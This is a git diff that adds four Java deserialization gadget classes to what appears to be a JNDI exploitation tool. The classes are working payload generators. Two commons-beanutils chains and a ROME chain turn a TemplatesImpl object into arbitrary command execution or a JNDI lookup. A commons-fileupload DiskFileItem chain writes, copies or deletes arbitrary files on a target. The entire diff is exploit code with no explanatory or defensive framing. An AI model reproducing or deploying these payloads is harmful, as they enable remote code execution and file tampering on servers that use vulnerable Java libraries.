diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2183NOCC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2183NOCC.java new file mode 100644 index 0000000..6cb8f7a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2183NOCC.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.CtClass; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.gadgets.Config.Config.POOL; +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; +import static com.qi4l.jndi.gadgets.utils.Reflections.setFieldValue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils2183NOCC implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // 修改BeanComparator类的serialVersionUID + POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + setFieldValue(comparator, "property", "lowestSetBit"); + PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + setFieldValue(comparator, "property", "outputProperties"); + Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + return queue; + } +} + diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils3183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils3183.java new file mode 100644 index 0000000..18baf08 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils3183.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.sun.rowset.JdbcRowSetImpl; +import javassist.ClassClassPath; +import javassist.CtClass; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.gadgets.Config.Config.POOL; +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils3183 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } + + POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + Reflections.setFieldValue(comparator, "property", null); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiURL); + rs.setMatchColumn("su18"); + PriorityQueue queue = new PriorityQueue(2, comparator); + + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + Reflections.setFieldValue(comparator, "property", "databaseMetaData"); + Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs}); + + ctBeanComparator.defrost(); + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/FileUpload1.java b/src/main/java/com/qi4l/jndi/gadgets/FileUpload1.java new file mode 100644 index 0000000..9f51435 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/FileUpload1.java @@ -0,0 +1,72 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +public class FileUpload1 implements ReleaseableObjectPayload{ + @Override + public DiskFileItem getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if (parts.length == 3 && "write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } else if (parts.length == 3 && "writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if (parts.length == 3 && "writeOld".equals(parts[0])) { + return writePre131(parts[1], parts[2].getBytes("US-ASCII")); + } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { + return writePre131(parts[1], Base64.decodeBase64(parts[2])); + } else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + public void release(DiskFileItem obj) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } + + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ROME3.java b/src/main/java/com/qi4l/jndi/gadgets/ROME3.java new file mode 100644 index 0000000..86050c7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ROME3.java @@ -0,0 +1,23 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; + +@Authors({"Firebasky"}) +@Dependencies("rome:rome:1.0") +public class ROME3 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", delegate); + return b; + } +}